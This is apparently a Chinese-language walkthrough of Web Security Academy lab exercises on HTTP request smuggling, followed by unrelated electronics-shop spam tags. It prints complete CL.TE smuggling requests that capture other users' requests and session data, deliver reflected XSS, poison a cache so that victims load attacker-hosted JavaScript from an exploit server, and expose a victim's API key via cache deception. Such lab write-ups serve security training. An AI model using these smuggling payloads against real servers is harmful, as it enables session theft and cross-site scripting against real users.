csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
  1. 反复发送机会,反复刷新文章页,查看留言,发现能显示受害用户的数据包,但不全
  2. 逐渐增大第二个包(走私包)的CL

CL数值,不能太小,数据包会截断。不能长,否则第二次发送,会报超时错误。所以得逐渐增大。最终找到最精确的大小

POST / HTTP/1.1
Host: ac031f531f8d7595c0540c16001c00ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Cookie: session=HlQN25yrPKwTAuxc7Lut7wGfvqWy28Dv
Content-Type: application/x-www-form-urlencoded
Content-Length: 845

csrf=2glELqVZxInWRYmUrXiozfsmvWJ9ucEb&postId=6&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=comment+2

页面显示效果

  1. 点击登录页面,拦截数据包,直接更换session,要保持csrf与测试时一致。成功

10. 利用HTTP请求走私来传递反射的XSS (Exploiting HTTP request smuggling to deliver reflected XSS)

使下一个访问的受害用户执行alert(1) 前端服务器不支持chunked encoding User-Agent处存在XSS攻击点

    1. 非常明确使用攻击包如下
POST / HTTP/1.1
Host: ac881f5b1e50b164c02e036e0013000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

需要多次反复发送数据包,知道出现404响应。因不知道目标用户核实访问,需要反复尝试

11. 利用HTTP请求走私来执行Web缓存中毒 (Exploiting HTTP request smuggling to perform web cache poisoning)

使受害用户收到中毒缓存,加载恶意js,执行alert(document.cookie) 前端服务器不支持chunked encoding ,会对某些相应进行缓存

    1. 在文章中,发现下一个链接点击,发现存在Host漏洞
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
  1. 在攻击机head中设置 Content-Type: text/javascript; charset=utf-8

body: alert(document.cookie)

POST / HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-acc01f481ff3f44ac06d05c1018e0059.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

GET /resources/js/tracking.js HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Connection: close
  1. 反复发送,刷新浏览器。

12. 利用HTTP请求走私进行Web缓存欺骗 (Exploiting HTTP request smuggling to perform web cache deception)

生成存有受害用户敏感数据 API key 的缓存,找到该缓存,提交敏感数据。 前端服务器不支持chunked encoding ,会缓存静态资源。可以登陆攻击者申请的测试账户熟悉web程序

该靶场整个思路比较完整

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
X-Ignore: X

标签: 智能温度变送器ad180fd聚丙烯膜介质电容器cbb80bcl09连接器2472d05po光电传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台